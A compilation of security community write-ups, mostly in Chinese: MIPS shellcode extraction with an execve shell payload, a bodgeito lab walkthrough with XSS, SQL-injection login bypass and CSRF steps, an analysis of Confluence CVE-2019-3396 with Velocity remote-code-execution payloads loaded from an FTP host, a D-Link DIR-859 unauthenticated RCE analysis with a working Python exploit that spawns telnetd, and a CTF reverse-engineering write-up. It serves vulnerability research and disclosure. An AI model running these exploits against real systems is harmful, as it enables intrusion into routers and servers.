#### 2\. 提取shellcode对应的二进制代码
接着，我们需要用程序中提取shellcode对应的二进制代码。
传统的方式，需要在IDA中寻找到对应的shellcode的二进制代码，比如
然后拷贝出来，再处理成这样类似的字符串形式：
可以发现，工作量还是有不少的。因此，我开发了一个简单的工具，来自动的从编译好的二进制代码中，提取对应的shellcode。使用下面的简单命令，就可以提取成c测试格式的二进制代码，或者py测试的。
$ python shell_extractor.py execve c
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};
用法来说，就是：
[+] usage: python shell_extractor.py [filename] [format]
[*] where format can be c or py
这个工具的核心部分，就是利用readelf –S execve这个命令，来获取shellcode中关键code的部分，然后提取出来构造成需要的格式。
比如，上述 的0xd0就是shellcode二进制代码的起始偏移，0x30就是代码的长度。
#### 3\. c语言中测试shellcode
按照工具里面的构造，选择c语言格式输出以后，按照下面的c代码格式，就可以方便的测试一下shellcode的了。比如对于execve这个函数。
#include <stdio.h>
char shellcode[] = {
"x24x06x06x66"
"x04xd0xffxff"
"x28x06xffxff"
"x27xbdxffxe0"
"x27xe4x10x01"
"x24x84xf0x1f"
"xafxa4xffxe8"
"xafxa0xffxec"
"x27xa5xffxe8"
"x24x02x0fxab"
"x00x00x00x0c"
"x2fx62x69x6e"
"x2fx73x68x00"
};
void main()
{
void (*s)(void);
printf("sc size %dn", sizeof(shellcode));
s = shellcode;
s();
printf("[*] work done.n");
}
接着使用如下的脚本：
src=$1
dst=$2
~/qemu_dependence/buildroot-mips/output/host/bin/mips-linux-gcc $src -static -o $dst
指令命令类似于：
bash comp-mips.sh execve_c.c execve_c
就可以完成编译
#### 4\. 构造payload测试shellcode
到了这一步，payload的构造方式其实和之前介绍的文章差不多的了。唯一的差别就在于，这回需要覆盖的RA的地址，就是堆栈的起始地址，因此，一个样例的payload可以是：
import struct
print '[*] prepare shellcode',
#shellcode
shellcode = "A"*0x19C # padding buf
shellcode += struct.pack(">L",0x408002D8) # this is the sp address for executing cmd.
shellcode += "x24x06x06x66"
shellcode += "x04xd0xffxff"
shellcode += "x28x06xffxff"
shellcode += "x27xbdxffxe0"
shellcode += "x27xe4x10x01"
shellcode += "x24x84xf0x1f"
shellcode += "xafxa4xffxe8"
shellcode += "xafxa0xffxec"
shellcode += "x27xa5xffxe8"
shellcode += "x24x02x0fxab"
shellcode += "x00x00x00x0c"
shellcode += "x2fx62x69x6e"
shellcode += "x2fx73x68x00"
print ' ok!'
#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)#'A'*300+'x00'*10+'BBBB')
fw.close()
print ' ok!'
上述的例子基于的漏洞是文章xx中提供的具有漏洞的程序。可以发现是可以成功利用的。
但是，细心的读者一定发现了，这里面仍然是有nullbyte的，即在调用syscall的时候，shellcode +=
“x00x00x00x0c”，提取的二进制code是这样的。其实他可以改成shellcode +=
“x01x01x01x0c”的形式，就能够成功绕过null byte的问题了。
这里给感兴趣的读者留一个自己练习的题目，即，同样是上面的这段shellcode，感兴趣的读者可以试试把这段代码放到上篇文章xx提到的路由器漏洞中，照葫芦画瓢的试试能不能拿到shell。^_^
#### 总结
本文主要介绍了shellcode的编写流程，以及自己开发的一个快速shellcode二进制代码提取工具。Shellcode的编写中，绕过null
byte的方式，可以通过优化代码，比如上述（”x00x00x00x0c”改成x01x01x01x0c），也可以通过对shellcode进行二次编码的方式。Shellcode的编码花样可以很多，可以将shellcode进行压缩，可以将shellcode的bad
bytes给替换掉。这些内容将在未来介绍。
* * *
_本文经安全客授权发布，转载请联系安全客平台。_
* * * | 社区文章 |
# 6.bodgeito通关教程
进入网站整体浏览网页
点击页面评分进入关卡
一般搭建之后这里都是红色的，黄色是代表接近，绿色代表过关
首先来到搜索处本着见框就插的原则
构造payload输入
<script> alert(/xss/)</script>
成功弹窗xss，发现反射型xss一枚
就需寻找还有没有xss，一般在网站留言板的地方都会存在储存型xss
点击contact us
构造payload输入
<script>alert(/xss/)</script>
没有弹窗成功，由此说明网站对用户输入的语句进行了过滤
继续尝试fuzz，构造payload：
<scri<script>pt> alert(/xss/)</sc</script>ript>
成功弹窗，说明网站会把`<script>`语句替换成空，需要进行双写才能绕过
以普通用户的身份查找隐藏的内容
直接使用御剑后台扫描工具进行扫描就可以发现管理员的后台地址，/admin.jsp，
直接访问此地址就进入了管理员的页面中
我们可以来尝试注册一个用户
账号：@<script>alert(/xss/)</script>
密码：123456
点击注册，会弹出xss
点击如下所示
同样会弹出xss
此时再次访问管理员界面会进行弹窗
登录处是可以注入登录的
账号：'or 1='1
密码：'or 1='1
万能密码登录
购物车内存在水平越权
首先使用
账号：[email protected]
密码：'or 1='1
进行登录
查看购物车，当b_id=0的时候，购物车如下
修改b_id=2，进行查看，可以看到其他用户的购物车
修改密码处有个csrf
首先注册
账号：[email protected]
密码：123456
进入修改密码页面
将密码修改为654321，并进行抓包
burp右键生成csrf的poc，保存成html文件
可以通过钓鱼等方式
只要让用户点击一下即可修改密码
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
**Author: Badcode@Knownsec 404 Team
Chinese Version: <https://paper.seebug.org/884/>**
On March 20, 2019, Confluence released a [security
alert](https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html), there was a server-side template
injection vulnerability(CVE-2019-3396) in Confluence Server and Data Center,
in the Widget Connector. An attacker is able to exploit this issue to achieve
path traversal and remote code execution on systems that run a vulnerable
version of Confluence Server or Data Center.I started researching this
vulnerability.
Confirmed that the vulnerability point occurred in the Widget Connector, I
download the latest version of the comparison patch. There is an additional
filter in the
`com\atlassian\confluence\extra\widgetconnector\WidgetMacro.java` file, I
think this should be the key point in the vulnerability.
this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(VelocityRenderService.TEMPLATE_PARAM));
As we can see, the value of `TEMPLATE_PARAM` is `_template`, so this patch
filters the external incoming `_template` parameter.
public interface VelocityRenderService {
public static final String WIDTH_PARAM = "width";
public static final String HEIGHT_PARAM = "height";
public static final String TEMPLATE_PARAM = "_template";
Looked at the files inside the Widget Connector and found that
`TEMPLATE_PARAM` is the path to the template file.
public class FriendFeedRenderer implements WidgetRenderer {
private static final String MATCH_URL = "friendfeed.com";
private static final String PATTERN = "friendfeed.com/(\\w+)/?";
private static final String VELOCITY_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm";
private VelocityRenderService velocityRenderService;
......
public String getEmbeddedHtml(String url, Map<String, String> params) {
params.put(VelocityRenderService.TEMPLATE_PARAM, VELOCITY_TEMPLATE);
return velocityRenderService.render(getEmbedUrl(url), params);
}
When the external link is loaded, the relative template is called to render.
As above, the path of templates is generally Hard coding, but there are
exceptions. The role of the patch also indicates that someone broke the limit
and invoked an unexpected template, resulting in a template injection.
After knowing the patch and having some rough guesses, I began to try.
First of all, I found this function. I looked through the official documents
and found this function. You can embed some videos, documents and so on in the
documents.
Seeing this, I was a little excited, because in the process of watching the
patch, I found several parameters, `url`, `width`, `height` exactly correspond
to here, is `_template` also passed in from here?
Just find a Youtube video to insert, click Preview, use Burpsuite to capture
the package.
Try inserting the `_template` parameter in params, well, nothing happens. .
Start the debug mode, because the test inserts Youtube video, so the call is
`com/atlassian/confluence/extra/widgetconnector/video/YoutubeRenderer.class`
public class YoutubeRenderer implements WidgetRenderer, WidgetImagePlaceholder {
private static final Pattern YOUTUBE_URL_PATTERN = Pattern.compile("https?://(.+\\.)?youtube.com.*(\\?v=([^&]+)).*$");
private final PlaceholderService placeholderService;
private final String DEFAULT_YOUTUBE_TEMPLATE = "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm";
......
public String getEmbedUrl(String url) {
Matcher youtubeUrlMatcher = YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url));
return youtubeUrlMatcher.matches() ? String.format("//www.youtube.com/embed/%s?wmode=opaque", youtubeUrlMatcher.group(3)) : null;
}
public boolean matches(String url) {
return YOUTUBE_URL_PATTERN.matcher(this.verifyEmbeddedPlayerString(url)).matches();
}
private String verifyEmbeddedPlayerString(String url) {
return !url.contains("feature=player_embedded&") ? url : url.replace("feature=player_embedded&", "");
}
public String getEmbeddedHtml(String url, Map<String, String> params) {
return this.velocityRenderService.render(this.getEmbedUrl(url), this.setDefaultParam(params));
}
In `getEmbeddedHtml` breakpoint, first call `getEmbedUrl` to the user's
incoming url for regular matching, because we are passing a normal youtube
video, so here is no problem, then call `setDefaultParam` function to process
other parameters passed in.
private Map<String, String> setDefaultParam(Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
if (!params.containsKey("_template")) {
params.put("_template", "com/atlassian/confluence/extra/widgetconnector/templates/youtube.vm");
}
if (StringUtils.isEmpty(width)) {
params.put("width", "400px");
} else if (StringUtils.isNumeric(width)) {
params.put("width", width.concat("px"));
}
if (StringUtils.isEmpty(height)) {
params.put("height", "300px");
} else if (StringUtils.isNumeric(height)) {
params.put("height", height.concat("px"));
}
return params;
}
Take the values of `width` and `height` from params to judge whether it is
empty, and set the default value if it is empty. The key `_template` parameter
comes up. If the externally passed parameter does not have `_template`, the
default Youtube template will be set. If it is passed in, it will be passed
in, that is to say, `aaaa` is successfully passed in.
After looking at the Renderer in Widget Connector, most of them can't set
`_template`, which is a direct hardcode. There are also some exceptions, such
as Youtube, Viddler, DailyMotion, etc., which can be passed to `_template`
from the outside.
Can pass `_template` now, let's look at how to get and render the template.
Follow up with `this.velocityresiderservice.render`，which is the render method
in
`com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class`
public String render(String url, Map<String, String> params) {
String width = (String)params.get("width");
String height = (String)params.get("height");
String template = (String)params.get("_template");
if (StringUtils.isEmpty(template)) {
template = "com/atlassian/confluence/extra/widgetconnector/templates/embed.vm";
}
if (StringUtils.isEmpty(url)) {
return null;
} else {
Map<String, Object> contextMap = this.getDefaultVelocityContext();
Iterator var7 = params.entrySet().iterator();
while(var7.hasNext()) {
Entry<String, String> entry = (Entry)var7.next();
if (((String)entry.getKey()).contentEquals("tweetHtml")) {
contextMap.put(entry.getKey(), entry.getValue());
} else {
contextMap.put(entry.getKey(), GeneralUtil.htmlEncode((String)entry.getValue()));
}
}
contextMap.put("urlHtml", GeneralUtil.htmlEncode(url));
if (StringUtils.isNotEmpty(width)) {
contextMap.put("width", GeneralUtil.htmlEncode(width));
} else {
contextMap.put("width", "400");
}
if (StringUtils.isNotEmpty(height)) {
contextMap.put("height", GeneralUtil.htmlEncode(height));
} else {
contextMap.put("height", "300");
}
return this.getRenderedTemplate(template, contextMap);
}
}
`_template` is taken out and assigned to the template. The other parameters
passed in are taken out and put into the `contextMap` after the judgment, and
the `getRenderedTemplate` function is called, that is, the
`VelocityUtils.getRenderedTemplate` is called.
protected String getRenderedTemplate(String template, Map<String, Object> contextMap){
return VelocityUtils.getRenderedTemplate(template, contextMap);
}
All the way to call, the call chain is as shown below, and finally comes to
the `loadResource` function of
`/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class` to
get the template.
Here we call 4 `ResourceLoaders` to get the template.
com.atlassian.confluence.setup.velocity.HibernateResourceLoader
org.apache.velocity.runtime.resource.loader.FileResourceLoader
org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
Here mainly look at the `FileResourceLoader` and `ClasspathResourceLoader`
that comes with Velocity.
`FileResourceLoader` will verify the template path passed by the user using
the `normalizePath` function.
As you can see, filtering`/../`, which leads to no way to jump to the
directory.
After the path is filtered, call `findTemplate` to find the template. You can
see that a fixed `path` will be spliced. This is the installation path of
Confluence.
This means that now you can use the `FileResourceLoader` to read the files
under the Confluence directory.
Try to read the `/WEB-INF/web.xml` file and you can see that it was
successfully loaded into the file.
But this can't jump out of Confluence's directory because you can't use
`/../`.
Look at the `ClasspathResourceLoader` again.
public InputStream getResourceStream(String name) throws ResourceNotFoundException {
InputStream result = null;
if (StringUtils.isEmpty(name)) {
throw new ResourceNotFoundException("No template name provided");
} else {
try {
result = ClassUtils.getResourceAsStream(this.getClass(), name);
......
}
Follow up`ClassUtils.getResourceAsStream`
public static InputStream getResourceAsStream(Class claz, String name) {
while(name.startsWith("/")) {
name = name.substring(1);
}
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
InputStream result;
if (classLoader == null) {
classLoader = claz.getClassLoader();
result = classLoader.getResourceAsStream(name);
} else {
result = classLoader.getResourceAsStream(name);
if (result == null) {
classLoader = claz.getClassLoader();
if (classLoader != null) {
result = classLoader.getResourceAsStream(name);
}
}
}
return result;
}
Will jump to`/org/apache/catalina/loader/WebappClassLoaderBase.class`
Following up, it was found that `/WEB-INF/classes` would be spliced, and
`normalize` was also called to filter the incoming path. .
Here you can still use `../` to jump to the first level directory.
Try to read `../web.xml`, you can see that it can also be read successfully,
but still can not jump out of the directory.
The version I tested here is 6.14.1, and then I tried `file://`,`http://`,
`https://`. all failed. Later, I tried to delete the Cookie and found that
files can still be read under Linux environment. Windows version 6.14.1 needs
to log in, but cannot jump out of the directory. This is where the research
stopped.
In the next few days, other researchers used the `file://` protocol to jump
out of the directory limit. I was shocked. I was sure that I had tried it and
it was not successful. I saw screenshots of other researchers and found that I
used the version of 6.9.0. I downloaded it and tried it. I found it really.And
in the 6.9.0 version, Windows and Linux environments do not need to log in.
The problem is still in the `ClasspathResourceLoader`, the steps are the same
as before, break the `getResourceAsStream` method of
`/org/apache/catalina/loader/WebappClassLoaderBase.class`
After the previous splice `/WEB-INF/classes` acquisition failed,Keep going.
Follow the `findResource`, the previous process still fails to get.
The key point is here, it will call `super.findResource(name)`, which returns
the URL, which is the object that can be obtained.
Moreover,other protocols (https, ftp, etc.) can also be used to get remote
objects, meaning that remote objects can be loaded.
After getting the URL object, continue back to the previous
`getResourceAsStream`, you can see that when the returned url is not null.
The `url.openStream()` will be called to get the data.
Finally get the data to Velocity rendering.
try it
As for the reason why 6.14.1 can't work, we don't know the reason yet, and we
will follow up later.If there are new discoveries, it will be updated here,
and currently only see `ClassLoader` is different.
6.14.1
6.9.0
The relationship between these two loaders is as follows.
Now you can load local and remote templates and try RCE.
Regarding Velocity's RCE, basically the payload is derived from the topic of
blackhat's server template injection in 2015, but it can't be used on
Confluence, because it will pass `velocity-htmlsafe-1.5.1.jar` when calling
the method. Some filtering and restrictions. But you can still use reflection
to execute commands.
payload:
#set($exp="test")$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
Open a simple ftp server with `python -m pyftpdlib -p 2121`, save the payload
as rce.vm, and save it in the current directory.
Set `_template` to `ftp://localhost:2121/rce.vm`, send it, and execute the
command successfully.。
For the echo of the command execution result, you can also use java reflection
to construct the payload, here is the result of executing the ipconfig
command.
payload:
#set ($exp="test")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
### Vulnerability impact
According to the ZoomEye cyberspace search engine, the keyword "X-Confluence"
was searched, and a total of 61,856 results were obtained, mainly distributed
in the United States, Germany, China and other countries.
Global distribution (non-vulnerability impact range)
China distribution (non-vulnerability scope)
### Vulnerability detection
On April 4, 2019, Knownsec 404 Team published the detection
[PoC](https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py)
for this vulnerability, which can be used to detect whether Confluence is
affected by the vulnerability.
In addition, we have released two demo videos.
[Video 1](https://www.youtube.com/watch?v=TzS5wEoHMgM)
[Video 2](https://www.youtube.com/watch?v=orT8o_g2a6c)
### Reference link
* [PoC](https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20190404_WEB_Confluence_path_traversal.py)
* [Remote code execution via Widget Connector macro - CVE-2019-3396](https://jira.atlassian.com/browse/CONFSERVER-57974)
* [漏洞预警 | Confluence Server 远程代码执行漏洞](https://www.freebuf.com/news/200183.html)
* * * | 社区文章 |
**研究人员**
Miguel Mendez Z.-（s1kr10s）
Pablo Pollanco-（secenv）
**技术细节**
型号：DIR-859
固件版本：1.06b01 Beta01，1.05
架构：MIPS 32位
**脆弱性**
远程执行代码（未经身份验证，LAN）
受影响的产品
**漏洞分析**
在用于管理UPnP请求的代码中发现了远程执行代码漏洞。下面我们将简要描述UPnP协议。
**什么是UPnP？**
UPnP是专用网络中设备之间的通信协议。它的主要功能之一是自动自动打开端口，而无需用户为每个程序手动配置路由器。它在用于视频游戏的系统中特别有用，因为它是动态工作的，而且正如我们之前所说的，它是自主的。
回到分析，我们粗略地显示了二进制可执行文件/ htdocs /
cgibin（固件文件DIR859Ax_FW106b01_beta01.bin和DIR859Ax_FW105b03.bin）中的genacgi_main（）函数，该漏洞包含使我们能够执行代码的漏洞，并且达到下图所示的代码所必须满足的条件。
如下所示，sprintf（）设置了一个包含所有值的缓冲区，包括带有值的参数“？service = *”，这就是我们将在此处跟踪的内容。
为了更好地了解漏洞的发生方式，我们在下面显示genacgi_main（）函数的反编译伪代码的一部分（为清楚起见，修改了变量名）。
/* The method has to be SUBSCRIBE to reach the buggy code */
metodo = getenv("REQUEST_METHOD”);
request_uri = getenv("REQUEST_URI”);
request_uri_0x3f = strchr(request_uri,0x3f);
cmp_service = strncmp(request_uri_0x3f,"?service=",9)
if (cmp_service != 0) {
return -1;
}
/* more code */
valor_subscribe = strcasecmp(metodo,"SUBSCRIBE");
request_uri_0x3f = request_uri_0x3f + 9;
if (valor_subscribe != 0) {
/* more code */
}
server_id_3 = getenv("SERVER_ID");
http_sid_2 = getenv("HTTP_SID");
http_callback_2 = getenv("HTTP_CALLBACK");
http_timeout = getenv("HTTP_TIMEOUT");
http_nt_2 = getenv("HTTP_NT");
remote_addr = getenv("REMOTE_ADDR”);
/* more code */
if (cmp_http_callback == 0) {
/* more code */
str_http_callback_0x2f = strchr(http_callback_2 + 7, 0x2f);
if (str_http_callback_0x2f != (char *)0x0) {
get_pid_1 = getpid();
/* vulnerable code */
sprintf(buffer_8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh", "/htdocs/upnp/run.NOTIFY.php", server_id_3, request_uri_0x3f, http_callback_2 + 7, str_http_callback_0x2f + 1, flag_2, remote_addr, "/var/run", request_uri_0x3f, get_pid_1);
/* send the data */
xmldbc_ephp(0,0,buffer_8,(int)stdout);
}
/* more code */
然后，使用xmldbc_ephp（）（最终调用send（））将“ buffer_8”中包含的数据发送到PHP。
int xmldbc_ephp(int 0,int 0_,char *buffer_8,int stdout)
{
size_t len_buffer;
int ret_prepre;
len_buffer = strlen(buffer_8);
len_buffer._2_2_ = (short)len_buffer;
ret_prepre = [send(socket,buffer_8,(uint)len_buffer,0x4000);]
return ret_prepre;
}
如代码所示，URL是从环境变量“ REQUEST_URI”获得的，然后按以下方式验证其结构：
request_uri = "http://IP:PORT/*?service=file_name"
request_uri_0x3f = strchr(request_uri,0x3f);
————strchr()———— + 9 ———— we control the filename with the variable => request_uri_0x3f
通过调用strchr（）和strncmp（），代码检查是否存在值“ 0x3f”（=字符“？”）和字符串“？service =
*”；之后，它将验证请求方法：如果调用SUBSCRIBE，则代码会将9个字节的偏移量添加到request_uri_0x3f指针，并将其放置在文件名所在的位置。初始化其他一些变量，最后使用sprintf（）连接许多变量的值，填充一个缓冲区，该缓冲区设置要传递的新变量，其中“
SHELL _FILE”以格式字符串“％s_ ％d.sh”传递”，用于为新的Shell脚本命名。
将数据复制到“ buffer_8”缓冲区后，将在内存中进行如下设置：
缓冲区中包含的数据现在由PHP文件“ run.NOTIFY.php”处理，在此再次验证请求方法。
文件：run.NOTIFY.php
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1")
$php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1")
$php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1")
$php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1")
$php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1")
$php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1")
$php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
该脚本调用PHP函数“ GENA_subscribe_new（）”，并向其传递在cgibin程序的genacgi_main（）函数中获得的变量，包括“
SHELL_FILE”变量。如前面的genacgi_main（）代码所示，此变量用于设置文件名的一部分。
文件：gena.php，函数GENA_subscribe_new（）
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
anchor($node_base);
$count = query("subscription#");
$found = 0;
/* find subscription index & uuid */
foreach ("subscription")
{
if (query("host")==$host && query("uri")==$uri)
{
$found = $InDeX; break;
}
}
if ($found == 0)
{
$index = $count + 1;
$new_uuid = "uuid:".query("/runtime/genuuid");
} else {
$index = $found;
$new_uuid = query("subscription:".$index."/uuid");
}
/* get timeout */
if ($timeout==0 || $timeout=="") {
$timeout = 0; $new_timeout = 0;
} else {
$new_timeout = query("/runtime/device/uptime") + $timeout;
}
/* set to nodes */
set("subscription:".$index."/remote", $remote);
set("subscription:".$index."/uuid", $new_uuid);
set("subscription:".$index."/host", $host);
set("subscription:".$index."/uri", $uri);
set("subscription:".$index."/timeout", $new_timeout);
set("subscription:".$index."/seq", "1");
GENA_subscribe_http_resp($new_uuid, $timeout);
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
如我们所见，“ GENA_subscribe_new（）”函数不会修改$ shell_file变量。
我们在这里可以看到两个函数：“ GENA_subscribe_http_resp（）”，它仅加载要在UPnP响应中传递的标头；“ GENA_notify_init（）”，其接收“ $ shell_file”变量，我们一直在跟踪。
文件：gena.php，函数GENA_notify_init（）
```cpp
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
if ($inf_path=="")
{
TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
return "";
}
$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
if ($phyinf == "")
{
TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
return "";
}
$upnpmsg = query("/runtime/upnpmsg");
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
"-V HDR_URL=".$uri.
" -V HDR_HOST=".$host.
" -V HDR_SID=".$sid.
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n"); /* Here, the code is injected as filename */
}
这是“ SHELL_FILE”最终结束的地方。它用作通过调用PHP函数“
fwrite（）”创建的新文件的名称的一部分。此函数使用了两次：第一个创建文件，从我们控制的SHELL_FILE变量中获取文件名，并连接getpid（）的输出，如下所示：
Request: http://IP:PORT/*?service=file_name
System: /var/run/nombre_archivo_13567.sh
第二次对“ fwrite（）”的调用将向该文件添加新行，其中包含对“ rm”系统命令的调用以删除自身。
为了利用这一点，我们只需要插入一个用反引号引起的系统命令（$ command），然后将其注入到shell脚本中，并为我们提供RCE；“
rm”命令将失败，因为文件名字符串将被“ rm”返回的输出（空字符串）替换。
Request: http://IP:PORT/*?service=`ping 192.168.0.20`
System: /var/run/`ping 192.168.0.20`_13567.sh
Run: rm -f `ping 192.168.0.20`_13467.sh
利用PoC
综上所述，我们编写了一个功能脚本来利用此RCE。
import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}').format(host=server, port=port)
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(request.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')
借助此漏洞，我们接下来可以启动telnet服务以维持访问权限。Boom！
视频
<https://youtu.be/Q1HC5ExoE30>
分析和利用：[路由器D-LINK RCE](https://github.com/s1kr10s/D-Link-DIR-859-RCE "路由器D-LINK
RCE")
原文地址：<https://medium.com/@s1kr10s/d-link-dir-859-rce-unautenticated-cve-2019-17621-en-d94b47a15104> | 社区文章 |
# 【WriteUp】labyrenth CTF windows track挑战（中）
|
##### 译文声明
本文是翻译文章，文章来源：jmprsp
原文地址：<https://jmprsp.wordpress.com/2016/09/03/labyrenth-ctf-windows-track-challenge-3>
译文仅供参考，具体内容表达以及含义原文为准。
**文件： SquirtleChallenge.exe**
**SHA256:** 360BB1FF6D129C99BC7B361A7B52C4CBDE04E5710101C866893DBB7236815E15
**加壳：** 无
**体系结构 :** 32Bit
**使用工具 :** exeinfo, IDA Pro
**代码与二进制文件：**[ https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-3](https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-3)
**说明：** 这种挑战是用 C语言编写的，并且完全没有进行加壳。绕过标记需要很多反调试器的技巧。
我们可以从上述的数字导出没有进行加壳的文件。
让我们尝试运行程序。
我们估计需要加载 IDA Pro ，并且开始查找字符串。
我们首先需要知道密码是什么，每次输入错误都会导致 Squirtle出现问题。
从上图我们不难发现主函数调用的是密码检查。
所以我们定位了 squirtle 杀手，通过阅读装配说明我们可以看到，密码是"incorrect"。
让我们再来看一下是否有squirtle出现问题。
然而，answer.jpg 还是没有标记。
看起来像是存在很多反调试器检查防止我们生成正确的 answer.jpg。让我们简单修补一下二进制文件。
一个简单的方法就是将mov eax，0 修补成 0x00401062；或者当它试验 eax 时修补程序调用方。下图所示就是Squirtle的活跃状态。
上图演示的是一种非常常见的技术，用于检查是否存在调试器标记附加调试器。如果你一直在关注我的博客，这对你来说一定很熟悉了。对于这一种挑战来说似乎还是要调试。我仅仅是将jz
修补称 jnz @ 0x401684。如下图所示，Squirtle 也一切正常。
只是修补 @ 0x401a45 （从 jbe 到ja） 指令，看一下是否可行。
我们成功了！Squirtle 不再出现问题了！
让我们来看一下answer.jpg，接下来只需要解码。
标记: PAN{Th3_$quirtL3_$qu@d_w@z_bLuffiNg}
**文件 : JugsOfBeer.exe**
**SHA256** ：59E71EE7A6C110D77CB19337EF2E7DA26C9E367D44588C09C6A4635D91318D0A
**加壳** ：无
**体系结构 : **64Bit
**使用工具 : **exeinfo, IDA Pro
**代码与二进制文件：**<https://github.com/jmprsp/labyrenth/tree/master/Window-Challenge-4>
**说明：** 这种挑战是用 c 语言编写的，并且使用64 位二进制编译。它是Water pouring
puzzle修改后的版本。要解决这一挑战，需要找到最简洁的步骤达到指定的结束状态。
所面临的挑战是来自用户的输入，这是否是典型的串行插件挑战？让我们检查看看它是否是通过 exeinfo 和 IDA
Pro.进行加壳的。从以下的数据可以看出该二进制文件没有进行加壳。
让我们开始分析。上图标出的是背跟踪字符串，其中遇到了 @ 0x0140001280 函数。
如果你要分析函数，首先会遇到一个检查。
从上图中我们可以看出，输入的字符串必须是 32 个字符长。进一步深入之后我们会遇到检查，以确保输入的字符必须是 > = 0x31 并且< = 33。
若要手动检查，假设我们输入 0，相当于 0x30。添加 0x30 到 0xFFFFFFCF 会返回 0xFFFFFFFF ，这样的检查测试就是失败的。
如果我们输入值是4，总和将会是 0x100000003。现在的检查只需要最后4 个字节，因此我们再比较 3和2。因为 3 大于 2，所以测试再次失败。
能够通过测试的唯一值就是在1 和 3 之间。
